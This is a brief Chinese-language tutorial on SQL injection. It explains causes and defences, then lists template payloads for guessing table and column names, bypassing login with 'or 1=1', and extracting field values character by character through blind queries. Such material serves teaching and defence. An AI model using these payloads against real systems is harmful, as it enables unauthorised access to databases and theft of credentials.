不管是web界面还是app,都会涉及表单输入和提交,如果程序员没有对提交的字符进行过滤或者特殊处理,很容易会产生问题,这里讲的的sql注入就是其中一种方式,在表单中输入sql语句达到进入系统的目的。
sql注入的原理就是上面提到的通过构造特殊的输入作为参数传入web或者app
sql注入产生原因有几个原因:
1、不当的类型处理
2、不安全的数据库配置
3、不合理的查询处理
4、不当的错误处理
5、转义字符处理不合适
6、多个提交处理不当
sql注入防护
1、不要相信用户的输入,对任何输入都需要做校验(比如长度,正则,等)
2、不使用动态拼接sql
3、不使用管理员权限的数据库连接(每个用户单独设置权限)
4、机密信息不直接存放,可以加密或者不直接打印
5、异常信息尽可能使用内部错误码
sql注入方法
猜表名:
and (select count(*) from 表名) <>0
and exists (select * from 表名)
猜列名:
and (select count(列名) from 表名) <> 0
and exists (select 列名 from 表名)
一般用户名为user 密码为passwd/password
猜列名长度:
and (select length(列名) from 表名) = 2
绕过身份验证:
or 1=1
猜表的条数(一般用在判断账号个数):
and 0<(select count(*) from 表名)
and 1<(select count(*) from 表名)
猜字段第一个字符:
and 1=(select count(*) from 表名 where substr(列名,1,1)='a')
若返回正常,则可继续猜第二位
and 1=(select count(*) from 表名 where substr(列名,1,2)='ab')
通过asscii码猜字符:
and 1=(select count(*) from 表名 where ascii(substr(列名,1,1))='49')